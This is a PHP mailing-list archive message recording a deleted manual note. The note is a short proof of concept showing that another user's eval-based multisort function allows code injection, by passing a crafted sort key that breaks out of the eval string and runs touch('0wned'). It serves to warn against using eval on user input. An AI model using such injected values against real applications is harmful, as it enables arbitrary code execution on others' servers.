note 96896 deleted from function.sort by danbrown
| From: | danbrown@php.net | Date: | Fri, 06 Jan 2012 19:09:08 +0000 |
| Subject: | note 96896 deleted from function.sort by danbrown | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-185401@lists.php.net to get a copy of this message | ||
Note Submitter: EvalIsEvil at cjbn dot net
----
Code Injection Exploit for SoftwareJonas's multisort function, below.
<?php
$sort = array(
array( 'a' => '1', 'b' => '3'),
array( 'a' => '2', 'b' => '1'),
array( 'a' => '1', 'b' => '1'));
//Lets assume this happens to be user-input data, which is a plausible scenario.
$by=array("'],null);touch('0wned');//");
//Creates a file named "0wned" in the current directory.
$result = multisort( $sort , $by );
?>
Eval is NEVER the answer. ;-)